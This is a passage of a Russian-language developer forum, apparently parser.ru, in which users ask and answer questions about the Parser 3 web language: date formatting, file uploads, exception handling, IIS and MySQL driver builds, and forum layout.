...Но как только возникает необходимость в разных местах страницы по разному выводить дату (например, используюя $dtf:rr-locale в одном месте и $dtf:ri-locale в другом), приходится добавлять в xml еще одну строчку с отформатированной датой.\
\
Как я понимаю, есть еще и другой способ: написать на xsl парсер дат, разбирающий либо первый вариант, либо получающий узел на входе такого вида:\
\
[code]\
<dt>\
	<year>$dt.year</year>\
	<month>$dt.month</month>\
	<day>$dt.day</day>\
	<hour>$dt.hour</hour>\
	<minute>$dt.minute</minute>\
	<second>$dt.second</second>\
</dt>\
[/code]\
\
...и выдавающий на выходе отформатированную нужным образом дату?\
\
Никто не писал подобного?"
"46018","1. Значит, в .htaccess у меня прописала строка:\
\"AddHandler parser3-html html txt\" (обратите внимание на txt)\
\
2. Куда я должен вставить $str[] ^str.save? Мы (и поисковые системы) оперируют только с одни файлом: robots.txt \
\
3. По предложенному Вам методу (и при включеной обработке txt парсером)результат такой же, какой и был в начале. Смотрите:\
http://www.yalma.info/base.txt (все слилось в одну строку)."
"46019","Да, спасибо. Как то мышка все туда не опускалась посмотреть :-)"
"46020","здравствуйте! подскажите пожалуйста, как можно загружать картинки в таблицу в mysql (через поле формы), и потом отображать на странице?"
"46022","1. и зачем вы говорите, что это будет html\
2. если обрабатываете, то в $result это\
3. посмотрите View source. посмотрите отдаваемый content-type. сложите 2 и 2 и сделайте как должно быть.\
\
P.S. а вообще лучше не генерить robots.txt парсером"
"46023","в общем удачи. я закругляюсь с этим тредом. забудьте про все и меняйте ентер на <br /> (я кстати вообще не упоминал <br /> до этого сообщения)"
"46024","http://www.exslt.org/date/index.html\
правда я как ни старался у меня работать отказывается.\
\
Если получится подключить да ещё и пример покажите, только спасибо скажу."
"46025","[code]\
@cat_cell[name] \
$name[^table::load[/$name^untaint{.cfg}]] \
^$name.menu{<a href=\"$name.uri\">$name.name</a>} \
[/code]\
\
Как запускать такие штуки когда встречаются 2 служебных символа? Или как определить, что в данном случае ^$ - оба символа нужно выполнять?\
\
Еще я здесь написал $name^untaint{.cfg}. Насколько это правильно? Т.к. $name.cfg написать было нельзя."
"46027","1. как же сказать , что это будет txt? (\
AddHandler parser3-txt txt\
Action parser3-txt /cgi-bin/parser3.cgi\
? даже боюсь такое написать, т.к. не понимаю будет ли что.\
\
2. не понимаю. что \"это\" и что делать \"result\"\
\
3. Soure посмотрел. спасибо. увидел. Как посмотреть contnent type? Как изменить content type? надо мне txt. как делать?"
"46030","Что-то не получается скачать ни парсер, ни mysql-драйвер с cvs-сервера. \
[quot]\
cvs server: Updating parser3\
cvs server: warning: new-born sql/mysql has disappeared\
[/quot]\
В процессе чего cvs сносит уже имеющиеся исходники, оставляя только репозиторий CVS с пустыми файлами.\
Может быть что-то с cvs-сервером?\
Т.к. качать пробовали с разных машин -> результат аналогичный.\
\
Готовые бинарники не подходят - модуль libparser3mysql.so не работает. \
[quot]\
libparser3mysql.so can't open the module [<no type>]\
[/quot]\
Система: FreeBSD 5.4/MySQL 4.1.14 \
Собирать пробовали по-всякому, результат отрицательный.\
\
С предыдущей версией MySQL (v.3) все работало корректно."
"46031","Ого... 3.6 мб в распакованном виде.\
\
Подключить пока не получилось."
"46033","[quot]\
2. не понимаю. что \"это\" и что делать \"result\"\
[/quot]\
\
$str -> $result. для понимания читают документацию.\
\
[quot]\
Как посмотреть contnent type?\
[/quot]\
\
не знаю как посмотреть это вам, мне достаточно нажать F4 в опере и увидеть: \"MIME type from server: text/html\", еще можно посмотреть что отдает сервер в заголовках к этому файлу.\
\
[quot]\
Как изменить content type? надо мне txt. как делать?\
[/quot]\
\
буду не оригинален. нужно почитать документацию и выдать парсером нужные ВАМ [url=\"/docs/lang/responsefields.htm\"]заголовки[/url]"
"46034","[code]\
@cat_cell[name][table]\
$table[^table::load[/${name}.cfg]] \
^table.menu{<a href=\"$name.uri\">$name.name</a>} \
[/code]\
\
А вообще для выполнения двух служебных символов есть ^process{}:\
\
[code]\
^process{^^${name}.menu{...}}\
[/code]"
"46035","я загружаю в форму некий файл \
\"C:\\Apache Group\\Apache\\htdocs\\air.gif\"\
у него уже есть имя air.gif как сохранить его с этим же именем...?\
чтобы при нажатии на кнопочку отправить файл сохранился в выбранном каталоге со своим именем и своим расшерением"
"46036","Точнее формулируйте вопрос, с каким именем файл существует, с таким и сохранится.\
Если на сервере уже есть файл с таким именем, он заманится на новый."
"46038","нет вы немножко не поняли вопрос например я сохраняю файл картинку из формы (имя картинки к примеру ris.gif)\
^form:photo.save[binary;/magazine/delovoy/image/тут я должен указать имя картинки]\
а как сделать так чтобы не надо было это имя указывать а чтобы оно само автоматически  бралось из формы?"
"46039","выполнения этого кода?\
[code]\
^process{^^${name}.menu{...}}\
[/code]\
я думаю что ошибка.\
\
Т.к. на монет выполнения menu, $name - это уже объект класса Table то вообще нет необходимости писать ^$name.menu{...}\
Достаточно ^name.menu{...}, и process здесь вовсе не нужен."
"46041","$form:photo.name"
"46042","Блин. Почему мне нельзя было сказать, что ^name.menu{...}? :)"
"46043","Спасибо за ответ это то что мне было нужно! Простите я вроде прочитал доку но этого не нашел... хотя наверно плохо читал..."
"46044","Столкнулся с проблемой с ISAPI-версией Parser 3.1.4 под IIS5, Windows 2000 Server SP4 и SQL Server 2000 (desktop edition). Всё - свежеустановленное, сервер - \"голый\".\
\
Создана тестовая страничка, которая соединяется с SQL Server и делает простой запрос SELECT 2 + 2.\
\
Если назначаю обработчиком dll-версию парсера, всё летает пару минут. В памяти появляется процесс DLLHOST весом метров в пять, в списке connections SQL Server - соединение с парсером. Но через незначительный промежуток времени всё умирает - тестовая страничка перестаёт открываться (запрос умирает по таймауту). IIS глухо зависает, лечится полным перезапуском.\
\
Если снять галочку \"cache ISAPI\" умирания не происходит. Начинается другая проблема - процесс DLLHOST отжирает плюс два мегабайта памяти на [i]каждом[/i] запросе.\
\
Единственный рабочий вариант - это использование exe-версии с проставленной галочкой \"cache\" (без галочки после каждого запроса в памяти останется ещё один четырёхмегабайтный процесс parser3.exe).  Но этот вариант мне категорически не нравится - CGI тормознее ISAPI в разы. Плюс к тому, CGI-вариант положит \"production\"-сервер при большом количестве запросов. Сто хитов в один момент времени = 400 метров скушанной памяти, 100 запущенных подпроцессов и пар от системного блока...\
\
\
Скажите, как вразумить parser3isapi.dll? Могу предположить, что дело в кешировании коннекта к БД - и тем, что после определённого времени коннект обрубается базой данных, а парсер этого не знает и продолжает висеть в памяти."
"46045","на ДД не зайти!!!!!!!!"
"46046","Весьма избитая тема, но... полазив по форуму испробовал кажется уже все возможные рецепты.\
\
Апач 2 Parser 3.14 Active Perl 587 ImageMagick под этот Perl\
\
images.pl, convert.pl и images.p с parser.ru\
\
в .pl - файлых путь к Perl поправлен. Проверил просто pl скрипты запускает и просто и средствами парсера\
\
Текст index.html\
\
^use[images.p]\
\
$status[^images:resize[\
		$.source_path[/]\
		$.destanation_path[/]\
		$.image_name[1.jpg]\
		$.x_size(20)\
		$.quality[100]\
	]]\
	^if(!$status){\
		$status OK!\
	}{\
		^rem{ *** Возникла ошибка *** }\
		$status\
	}\
По выполнению выдает 0 OK и ничего не делает.\
Пути в $script_path[../cgi-bin], писал и прямые, но на результат не  влияет. Пробовал удалять .pl - файлы результат не меняется.\
\
Укажите, пожалуйста, ошибку в коде, настройках?"
"46047","разнести $.source_path[/] и $.destanation_path[/] Как-то не кузяво, что и исходный файл, и файл-результат в одной директории\
\
PS. $.dest[b]a[/b]nation_path - это опечатка при постинге сюда или копи-пасту делали? Тогда надо исправить в исходниках..."
"46048","И могли бы подсказать где взять хорошую документацию по MySQL на русском языке в *.chm формате."
"46049","А вторая половина — пример выполнения «двух служебных символов»"
"46051","второе не сработает"
"46052","Реализация ничем не отличается, а вот в установке всё гораздо проще, тем более что класс images.p теперь поддерживает обе технологии.\
\
Подробнее читайте [url=\"http://www.spearance.ru/parser3/pictures/source/\"]здесь[/url]."
"46053","Удаленная работа возможна?"
"46055","вот так работает:\
[code]\
^process{@extra[] \
   Здоровья прежде всего… \
} \
[/code]\
далее метод ^extra[] срабатывает....\
\
Пробую вверх ногами:\
[code]\
@main[]\
^process{^extra[]}\
\
@extra[] \
   Здоровья прежде всего…\
[/code]\
\
так не работает... т.е. когда процесится не метод а его вызов....\
Наверное так и не должно работать? идеологически не верно? или я ошибаюсь?\
\
Можно ли обойти? Думаю что вызов метода закатывается в метод и уже он вызывается?"
"46057","У меня из базы выбирается, например, поле $test.razdel, которое содержит, например, 'content'\
\
я хочу вызвать соотв функцию из класса ^classname:content[]\
\
пишу ^classname:^untaint{${test.razdel}[]}\
\
это неправильно, подскажите как правильно написать, спасибо"
"46058","А сделать то, что вы хотите можно хотя бы от так:\
[code]\
^switch[$test.razdel]{\
 ^case[news]{^news[]}\
 ...\
}\
[/code]"
"46060","так\
[code]\
main[]\
^process{^extra[]}\
\
@extra[] \
   Здоровья прежде всего…\
[/code]\
работает.....\
а вот так\
[code]\
@main[]\
^process[$caller.self]{^extra[]}\
\
@extra[] \
   Здоровья прежде всего…\
[/code]\
\
выдает ошибку....\
[code]\
options must not be code (parameter #2)\
[/code]\
\
толи лыжи не едут..... )))) снега еще мало"
"46061","признаюсь, ступил, все просто, еще раз спасибо\
\
^process{^^classname:${test.razdel}[]}"
"46063","почему тогда не работает принудительный вызов [code] ^throw[file.missing;something;something][/code] ???\
Под фразой не работает я имею ввиду срабатывание не того, что стоит в if, а того что стоит в else метода unhandled_exception.\
Ну код типа такой\
[code] \
$a(6)\
^if($a != 5){^throw[file.missing;something;something]}\
[/code]\
Здесь конечно же приведен гипотетический пример.\
Просто на сайте у меня почти нет документов и все храниться в базе, поэтому приходится выворачиваться через mod_rewrite ну и соответсвенно запросы обрабатываются самим парсером.\
Пока приходится вызывать throw с параметром, скажем 404, а в unhandled_exception создавать лишний блок с exception.type eq 404.\
Что сделать чтобы так не делать?\
Спасибо"
"46064","планируется ли вообще создание парсера для КПК если да то когда?"
"46065","И еще (это я опять пишу). Почему внутри unhandled_exception как-то криво используется оператор use. Т.е. если я хочу для обоработки ошибки использовать какой-то внешний модуль, то НИЧЕГО не происходит.\
Похоже что метод auto из unhandled_exception не вызывается, или как?\
Я например хочу 404 ошибку здесь выводить. С точки зрения HTTP было бы наверное неверно писать response:location, так как сервер возвратит 302, а должен 404. Поэтому я хотел вызвать внешний модуль\
с помошью [code] ^use[/modules/404.p][/code], в котором написал\
[code]\
@auto[]\
$response:status[404]\
$response:body[Нет такого]\
[/code]\
Данный код работает ВЕЗДЕ (если его подключать с помощью use), но НЕ работает если вызывать в unhandled_exception. Вот только когда я  \
вывожу внутри ue \
[code]\
^use[/modules/404.p]\
$response:body\
[/code]\
тело запроса появляется.\
Почему так? В чем отличие ue от других методов?"
"46066","КПК как платформы (сервера)? А под чем такой КПК должен работать?"
"46069","У меня HP 1950 Pocket PC он прекрасно отображает нормальные сайты, а если сайт сделан для кпк, то он скорее всего оптимизирован под ширину экрана 240 вот и все."
"46070","скажите можно ли, и если да, то как сделать, что бы парсер автоматически проставил высоту и ширину в рисунках до того, как сформирует html. Зарание благодарен."
"46071","А вариант использования в полезных операторах (by Misha) в примерах."
"46073","у нас есть проекты, нормально работающие и на Apache 2.0"
"46074","как жена пришлёт фотку, обновлю userpic немного.\
\
текущий был из весеннего Египта, этот будет из осеннего Туниса :)"
"46075","посмотрел код ошибки, что-то невнятное:\
[code]\
#define WSABASEERR              10000\
#define WSAEINVAL               (WSABASEERR+22)\
[/code]\
\
[b]Error code [/b]\
Description \
\
[b]WSAEINVAL  [/b]\
The time-out value is not valid, or all three descriptor parameters were NULL.  \
\
\
варианты:\
1. почтовый сервер не успевает за 30 секунд принять письмо\
2. почтовый сервер как-то невежливо закрывает соединение — проверьте внимательно приходящие письма, точно ли весь файлик пришёл: отправьте себе .zip и проверьте его целостность."
"46078","file::load код писал я. видимо, где-то тонко нагорбил.\
пожалуйста, пришлите bug.html с незвездонутыми адресами, в письме укажите платформу, на которой не работает, посмотрю.\
\
subject: parser3: lala"
"46080","[code]\
^@method[]\
[/code]\
\
Возвращает ошибку «@method undefined method»\
\
[code]\
^^@method[]\
[/code]\
\
Возвращает «^@method[]»\
Как вернуть «@method[]»?\
\
Parser 3.1.4\
\
П.С. Естественно, если все это добро находиться в начале строки."
"46081","мы собирали с одной, там, где наблюдаете проблему — радикально другая.\
\
пересобрите sql драйвер для parser из исходников. для чего скачайте исходники parser и драйвера, и почитайте INSTALL в исходниках драйвера."
"46082","то можно сделать \
mysqldump + замена в любом любимом редакторе + mysql<updated.sql"
"46083","пока workaround:\
[code]\
$file[]\
^if(-f $file){…\
[/code]"
"46084","соединения, XSL и ещё по-мелочи хранятся в памяти процесса.\
\
так что так хранить имеет смысл только то, что создаётся долго, но памяти занимает относительно немного.\
\
ваша задача противоречит выбранной мной схеме хранения.\
\
\
если думаете, что можно сделать лучше: кратко расскажите, как заставить libxml работать с внепроцессной памятью.\
\
варианты: \
1. в MSSQL сделано много шагов в эту сторону, и там можно уже даже не одним способом делать XPath запросы к XML.\
2. всё же затолкать входной XML в обычные таблицы базу данных и работать с ней\
\
касательно (2):\
из XML можно с помощью XSL сделать текстовый файл с данными в плоском виде, и потом mysql: locad from local infile...\
relations — item.xsl, group.xsl даст нам не один файл, а несколько."
"46085","а давайте вы напишете с process, а мы укоротим в 3 раза, не используя его?"
"46087","приведите ссылку, что вы почитали?"
"46088","посмотрю."
"46089","вы хотите A->B\
а в rule написали B->A"
"46090","видимо, вам нужен proxy запрос.\
почитайте документацию на apache mod_proxy (перед этим уточните у хостера, установлен ли этот модуль)."
"46091","Что теперь импортируется в шаблон объекта?"
"46092","работает на всех платформах.\
если какие-то знаки нужно, чтобы считались буквами, добавьте галочку в ваш windows-1251.cfg"
"46093","конечно же, надо было сделать\
[code]\
^string.match{выражение}…\
#а не \
^string.match[выражение]…\
[/code]\
\
и чтобы происходило\
[code]\
#неявно\
^string.match{^untaint[regex]{выражение}}…\
#что означало бы замену всех regex-спецсимволов на безопасные конструкции\
[/code]\
\
сейчас, вероятно, такое добавлять бесполезно.\
ведь руки уже у всех запомнили, какие скобки там надо ставить. а вводить, не запретив предыдущий вариант — малоосмысленно."
"46094","я там жестковатую проверку поставил.\
поправлю.."
"46095","Пишу:\
[code]\
^input.menu{\
 ^process{\
 <tr>\
 <td width=\"30%\">\
 ${input.description}\
 </td>\
 <td bgcolor=\"#eeeeee\"\">\
 <input name=\"${input.name}\" size=\"40\" id=\"${input.name}\" value=\"^$^{description.${input.name}^}\" />\
 </td>\
 </tr>\
 \
 }\
}\
[/code]"
"46096","XSL тоже разный бывает, я видел XSL достаточно большого размера.\
\
Про схему хранения понятно. Жаль, конечно, я и имел ввиду, собственно, что нужно хранить в процессорной памяти -- да, процесс бы съел пол гига -- в данном случае это не очень критично, потому что сейчас, в пиковые нагрузки, я  вижу по 50 парсерных процессов (в модуле проблеммы с lockf :( http://www.parser.ru/forum/?id=45763 -- поэтому не использую), каждый из которых отъедает по 20М резидентной памяти.\
\
По поводу баз данных, структура данных меняется слишком быстро, чтобы поддерживать xsl создания таблиц, и xsl вставки и потом в коде менять запросы к базе. А так нужно менять только XPath.\
\
Кстати а XPath кэшируется?"
"46097","сейчас вам бы хотелось пару таблиц обновлять, завтра 10, послезавтра 100. а ведь текучку никто не отменял.\
\
вложитесь в будущее сейчас.\
PowerDesigner уже посмотрели?\
\
если лень качать и ставить, хотя бы создайте в MS Access пару таблиц, войдите в Tools|Relations, добавьте туда таблицы,и drag-drop поле из одной таблицы на поле из другой."
"46100","[code]\
...value=\"$description.[$input.name]\"...\
[/code]\
\
Не нужно все переменные писать с фигурными скобками ${...}, это нужно только в случае если надо рядом с переменной вывести свой текст, например: ${...}text"
"46101","Хорошо бы было добавить в @init[] $params.prefix, где будет определятся префикс для названий таблиц в бд, используемых классом. Иногда этого очень не хватает :)"
"46103","вам недостаточно обновлять этот файл вместе с обновлением списка пользователей?\
\
варианты:\
1. mod_mysql_auth\
2. через mod_rewrite можно все запросы к секретным файлым направить на download.html, где сделать что хотите"
"46104","попробуйте не пинать пучков, может яснее выйдет?"
"46108","http://www.parser.ru/forum/?id=46093"
"46109","видимо чем-то\
[code]\
^if(!def $param2){\
   $param2(1)\
}\
[/code]\
не нравится, но чем?\
\
мелочь: имеет смысл стремиться, чтобы параметры по-умолчанию были бы довольны undef(false/0/пустая строка).\
чтобы глядя на описание метода\
[code]\
@formatCode[string;someOption]\
#и на вызов\
^formatCode[$s]\
#читателю сразу было ясно, что тут someOption была НЕ указана\
[/code]\
\
конечно, можем начать движение в сторону\
[code]\
@method[param=defaultValue]\
[/code]\
но потом кому-нибудь захочется, чтобы defaultValue было таблицей..\
\
2.\
лично я считаю, что код вида\
[code]\
^if($домГорит == $TRUE){…\
#выглядит мерзко\
[/code]\
\
сравним с \
[code]\
^if($домГорит){…\
#выглядит мерзко\
[/code]"
"46110","обозначающий вызов метода.\
При подобном вызове:\
[code]^@method[][/code]\
парсер пытается вызвать метод\
[code]@@method[][/code]"
"46111","первые 10 строчек.."
"46113","Старый вариант запрещать не надо - просто убрать его из документации. Тогда новые последователи Парсера будут писать по-новому, а у старых ничего не обрушится."
"46114","(хотя, вроде бы, должно хватить)\
\
то всегда можно схалявить(не рекомендуется):\
[code]\
<xsl:value-of select=\"document(concat('parser://covertDate/%d%m%y/', inputXPath))\"/>\
[/code]\
\
при этом в /auto.p определить\
[code]\
#в params приходит строка /%d%m%y/2005-10-28 12:55:00\
#разрезаем её по / и выводим согласно формату\
@formatDate[params]\
<?xml version=\"1.0\"?>\
<root>\
</root>\
[/code]\
\
такой подход [b]плохой[/b], однако бывают тяжёлые случаи, когда он оправдан.\
\
конечно, имеет смысл оформлять подобное в удобные <xsl:function"
"46116","parser закрывает неиспользуемые соединения.\
проверка происходит при обработке очередного запроса, интервал между проверками = 2 (две) минуты.\
\
если соединение никому уже 60секунд не нужно, оно закрывается.\
\
вы уверены насчёт двух минут?\
есть ли вероятность, что за эти две минуты соединение реально никому не нужно?\
\
уж очень подозрительно совпадение."
"46117","однако тут http://www.parser.ru/forum/?id=45724\
хоть вариант удалённой работы не упомянут, однако попробуйте его обсудить."
"46118","[code]\
^sections:[$test.sectionName][params]\
[/code]\
\
хотя такая компоновка кода выглядит некрасиво.\
зачем обработку всех разделов в один файл толкать — может по разным разнести?"
"46119","[code]\
@main[]\
^test[]\
@test[]\
^process[$caller.self]{^^extra[]}\
@extra[]\
ура\
[/code]\
\
почему?\
потому, что у @main нет $caller"
"46120","то он ещё и двулик: с PC выглядит по-одному, с PPC по-другому."
"46121","а значит, собрать Parser сможете."
"46122","P.S. шаблон у блоков был только до версии 2. я описывать начал с версии 3. все работает как описано."
"46123","вроде уже нашли почему не работал: там хостинг не понимает скрипты, залитые в двоичном режиме, а по-другому парсер работать не хочет. Вот делема и получилась...\
Насколько я понимаю это уже не исправить?"
"46124","если так, то в документации кусочек про IIS относительно недавно обновлялся:\
\
в IIS можно назначить /404.html обработчиком ошибок, и орудовать оттуда.\
(при этом есть тонкости с POST и index.html, см. документацию)"
"46125","Что происходит с cvs-сервером?\
Это у нас проблема, или он на самом деле не работает?\
Подробнее проблему изложил тут ->\
http://www.parser.ru/forum/?id=46030"
"46127","раньше я вводил префиксы, но потом решил что добавлять их в свой класс, и при этом никогда их не использовать - нехорошо.\
\
надо иное - поправьте для себя :)"
"46128","согласитесь, полгига XSL у вас не бывает :)\
\
насчёт некритичности не понял: .5G * 50 = 25G, это критично?\
\
насчёт быстроменяющейся структуры данных, это что-то вы загнули.\
\
XPath не кэшируется, однако <xsl:variable — да.\
ещё подумайте о <xsl:key"
"46129","а на схеме БД в engine v.4 этого поля уже нет.\
\
Если шаблона у блока нет, то как тогда собирается шаблон для объекта?"
"46130","fun: так уже несколько раз и было сделано :)"
"46133","Да полгига не бывает.\
\
Точно не поняли, если мы устанавливаем парсер модулем, то насколько я понимаю xml можно загрузить и хранить одну его копию, такой себе sigleton. (Не знаю даже может аналог со static модификатором из java). Тогда у меня не будет отдельных процессов вообще, а только треды, которые не создают процессы (NTPL имею ввиду)\
\
Насчет меняющихся данных это действительно так, структура данных может меняться несколь раз в день, в неделю, так и есть сейчас.\
\
И это требует минимального вмешательсва в код отображения этих данных."
"46134","если класс обновится, то придется снова править.\
\
Просто иногда возникают ситуации, когда в одной БД хранятся таблицы двух сайтов. И если в обоих используется класс авторизации - возникают подобные проблемы."
"46136","Т.е. все что я описал соблюдается и в apache 2... (windows) и 1.3.33(Linux RH 9.0)\
Как же выйти то из этих проблем?\
Я так и не понял, почему не работает принудительный вызов [code]^throw[file.missing;qqq;qqq][/code], если обработчик в unhandled_exception определен как [code]^if($exception.type eq 'file.missing' && !$stack){что-то здесь будет}[/code]. Т.е сваливается пустая страница и фсе.\
А касательно use внутри ue: внутри внешнего модуля кроме определения [code]$response:body[Нет такого][/code] надо еще и выводить переменную, т.е писать [code]$response:body[/code] что ли? Но в документации такого не сказано.\
И у меня еще вопрос. Что быстрее и оптимальнее с вашей точки зрения: поместить всю обработку ошибок в unhandled_exception или же бо'льшую часть делать в try?\
Спасибо за ответ.\
Саша"
"46138","забейте перцы, все сделал!"
"46139","Однако часто эти авторизации весьма отличаются...да и если вдруг случится переезд одного из сайтов, то в случае разных таблиц достаточно перенести дамп таблиц с определнным префиксом и все.\
\
P.S. Я вообще стараюсь использовать для всех проектов таблицы с определенным префиксом, уникальным для проекта. Пару раз это очень пригодилось :)"
"46140","Ok!"
"46141","И как этим пользоваться? :| Можно рабочий пример?.."
"46142","Мне указали на lib.p, но я ж не знаю куда этот @image[file;additional] девать, просто в тело не работает =)"
"46145","См класс image, метод html\
\
Ну например\
\
$photo[^image::measure[photo.jpg]] \
^photo.html[ \
   $.border[0] \
   $.alt[Моя фотка]\
]"
"46146","мы тут недавно с коллегами придумывали удобную схему выдавания номерочков для сносок:\
http://www.mts.ru/tariffs/base/full/\
\
хм. вижу, там уже номерочки повыбрасывали и поставили картинки :)\
\
короче: во входном XML текст идёт не в том порядке, что в HTML нужно.\
как правильно раздать номерочки, чтобы они шли в порядке слева-направо-сверху-вниз?"
"46148","в  14:02 :)"
"46149","Вот! =)"
"46150","Вырывают обычно стоматологи а не Парсер.\
А чем мешает image measure, для динамических данных он прекрасно подходит.\
А для шаблона страницы который менятся не будет он и не нужен..."
"46151","Все вроде собралось/установилось, хотя и не с первого раза.\
В INSTAll указано, что нужно сделать так:\
[quot]\
cd $D/parser3project\
  mkdir sql\
  cd sql\
  gunzip -c parser3mysql-x.x.tar.gz | tar xvf -\
  cd parser3mysql-x.x\
  ./configure --prefix=/usr/local\
  make\
[/quot]\
Т.е. получается, что нужно компилировавать драйвер в директории \
/parser3project/sql/parser3mysql-x.x, но при сборке получаем ошибку:\
[quot]\
 PARSER3MYSQL.C: (17.27) pa_sql_driver.h: no such file or directory\
[/quot]\
Смотрим в сообщении об ошибке, где оно должно лежать и выясняем, что данный файл ищется в ../../parser3/sql, то есть сборка драйвера должна была производиться в папке parser3/mysql? Пробуем собирать в этой папке - все получается на ура. Возможно универсальная документация INSTALL не всегда соответствует текущему содержанию Makefile? Или мы ее просто неправильно интерпретировали?\
\
Теперь появилась другая проблема:\
при попытке использования mysql-драйвера получаем ошибку\
[quot]\
  'libparser3mysql.so' can't open the module [<no type>]\
[/quot]\
FreeBSD5.4STABLE, MySQL 4.1.14"
"46152","Пожалуйсто раскажите как работать с вашими \"Полезными операторами\", я  новичок и поэтому даже в таких простых задачах захожу в тупик, но хочется хоть попробывать, поэксперементировать, только так получается узнать что-то новое, но для того что бы поэкспеременьтировать, надо сначало запустить :| что никак не получается."
"46153","...последовательно и к концу последнего, придет понимание в очень многих вопросах. Только не просто прочтите, а заставьте все работать непосредственно у Вас."
"46156","Это в принципе реально сторить парсерный код в БД как есть? тоесть я скажем говорю: пни эту переменную, в которой содержится код в ту таблицу в то поле. он пнул, а на др странице я хлоп, и выгрузил его оттуда при каком-то действии или лучше не заморачиваться и гонять колбасу через методы?"
"46158","При использовании преобразования RewriteRule ^settings/([a-z0-9]+)\\.html$ settings.html?view=$1 не передаются значения форм в скрипт, например при попытке из http://site.ru/settings/files.html?del=222.jpg вытащить $form:del ничего не получается.\
\
Подскажите как правильно?"
"46159","содержательно, однако!"
"46161","Но я тоже не после первого прочтения допер как подключать классы и работать с ними (и сейчас не все понятно). А если бы кто подсказал сразу! Сколько времени съэкономил бы!\
\
Все что нужно сделать в auto.p:\
[code]\
@USE\
lib.p\
[/code]\
\
а в нужном месте просто вызвать метод из \"списка\"\
например проеверить e-mail: \
[code]\
^is_email[$form:email]\
[/code]\
\
P.S.\
Не забудьте добавить в основной auto.p (тот что в cgi-bin)\
[code]\
$CLASS_PATH[^table::create{path\
/путь к папку с классами!/}\
]\
[/code]"
"46163","к примеру, сегодня у меня снова зародилась чумовейкая идея:\
Вот, возьмем этот форум:\
трэды идут влево.... вправо тоесть, хаха!\
Misha v.3, это, скорее вопрос к тебе:\
почему в форуме не дисплеить только названия тредов и количество ответов в ЧИСЛОВОМ эквиваленте?\
открываешь тред - там все ответыю\
идея ответа на child 2 уровня и пятого реализовать через квотинг того чайлда типа как в phpBB [quote][/quote]\
\
ПОЧЕМУ возник вопрос?\
открываешь тред - видишь вопрос - открываешь ответ - забыл на какой код ссылаются в вопросе, не можешь визуально сравнить ответы и куски кода - за и против отдыхают.\
\
коли фильтрация идет по parent-child можно установить форсированный квотинг парента. да на крайняк люди сами заквотят то, что надо!\
Ваши идеи и предложения, господа программеры!"
"46164","либо я слишком тупой, либо люди неразговорчивые - одно из трех Ж-)"
"46166","а если классов у тебя 2, то не проще ли плясать от корня?\
[code]@USE\
/classes/lib.p[/code]"
"46168","Как на phpBB. Открыл вопрос, ниже все ответы. Для ответа на вопрос нужно жать \"Цитата\".\
\
А \"форсированный квотинг парента\" - это чтобы пост зразу обносился [quote][/quote] или выделил нужную часть и жмём кнопку для обноса. Типа того, наверно.\
\
Предложение - сам напиши."
"46169","ссылка на \"любой\" phpBB forum: http://sianclothing.com/wmp%5Fforum/index.php\
пробежать вглубь одного треда [thread] на 4 уровня - понятно станет.\
показаны только названия threads и сколько там posts\
заходишь в thread  и видишь все posts по-порядку[дате].\
зачем древовидная структура здесь? - для отслеживания кто на что ответил - на дибильную реплику или твой вопрос.\
Как эту идею применить там? - использовать quote того post на который ты отвечаешь.\
\
edit: Вот только что ответил на \"перевод\" и мой post задвинуло выше, чем этот ответ (хронологически неверно)\
с одной стороны идея почему так - ясна, а с другой по логике вещей - не совсем так, или это всего лишь стереотип навеяный допарсерными языками?"
"46170","Не получается поставить парсер на IIS. При попытке открытия html файла зачем-то запрашивается логин и пароль.\
Права на веб-узле выставлены, что разрешается запускать скрипты.\
Установить апач нет возможности. У кого-нибудь были такие проблемы?\
Что можно сделать?\
ЗЫ: Все остальные файлы (htm) открываются нормально. Проблема только с теми, которые указаны для обработки парсером.\
Парсер 3.1.4\
обработчиком ставится parser3isapi.dll"
"46171","Если вы спрашивали о возможности хранения парсерного кода в БД, то да это возможно и обсуждалось не однократно.\
\
Если вы имели ввиду что-то другое, то я не понял вопрос, извините."
"46172","ты клевый интерпретатор! почему я тебя в качестве обработчика кода не могу использовать??? ;)\
Значит идея все-таки не дурацкая?\
этот форум - живой пример, что это возможно - это скелет, а то, что я описал - типа граф. оболочки, а структура все равно та же!"
"46173","[quot]\
зачем древовидная структура здесь?\
[/quot]\
\
потому, что многим так удобнее. лично мне неудобно грузить длиннющие треды, чтобы читать то что меня не касается. к тому же я считаю что в plain форумах очень не удобно следить за дискуссиями. я не говорю что они плохие. они - другие. соответственно тем кто привык к древовидным форумам неудобны плоские и наоборот.\
\
[quot]\
зачем древовидная структура здесь? - для отслеживания кто на что ответил - на дибильную реплику или твой вопрос.\
[/quot]\
\
в общем вы сами ответили.\
\
[quot]\
Как эту идею применить там? - использовать quote того post на который ты отвечаешь.\
[/quot]\
\
цитирование (quot) и ответ на сообщение - суть разные вещи. вот например вы в вашем сообщении (на которое я отвечаю) задали несколько вопросов. я цитирую кусочки ваших вопросов чтобы было понятно, на что я отвечаю. куча вноженых quot в plain форумах для поддержания дискуссии по моему самое ужасное что в них может быть. \
\
[quot]\
мой post задвинуло выше, чем этот ответ (хронологически неверно)\
[/quot]\
\
а при чем тут хронологическая верность? вы ответили на два сообщения. это два разных ответа, по сути мало связанные друг с другом (если мысль формулировать).\
\
про идею и логику вещей мысль слишком глубока для меня, я её не осилил.\
\
P.S. я не очень понял суть вашего поста. если она сводится к следующему: \"а давайте снесем этот форум и поставим plain форум\", то ответ такой: мы не планируем это делать."
"46174","сносить нельзя, ибо некто не снесет такой перемены и снесет яйцо (не самая приятная вещь!) мой вопрос был: а так ли все будет действовать как я сказал или принцип будет иной. вы все вроде ответили, что в принципе так. а насчет мусора в квотинге я согласен! и здесь он тоже хорошо реализован.\
Правда все ишо живы перцы на земле которые кроме plain форумов не видали ничего и им от этого, что тутова, становится того! По-моему я ясно выразился (простите за vague replics and flow of concsiousness displayed above, lol!)"
"46175","я тут по поиску порыскал, толком ничо не нашел! линку можно кинуть? вы хотябы приблизительно знаете где и когда и, возможно, кем это было."
"46177","можно добавить :) ...лишний слеш и название папки :) :) :)"
"46178","тоесть можно ^#40method[] написать, а под ним кусок кода и сохранить в файл хтмл, а потом этот файл запустить в нужном контексте и сработает тот кусок кода, который содержется в этом новоиспеченном методе?\
а можно так в базу данных запихнуть код под этим определением метода и вызывать его (код) оттудась?"
"46179","а почему, когда ты отвечаешь на тред в самом низу страницы, он не появляется вверху ее как содержащий новые сообщения? как это сделать - через кукисы?"
"46180","...заканчивается там, где начинается свобода другой личности.\
\
\"...Сколько времени съэкономил бы!...\"\
\
Ваше сэкономленное время = потерянному времени другого человека. Об этом не думали?\
\
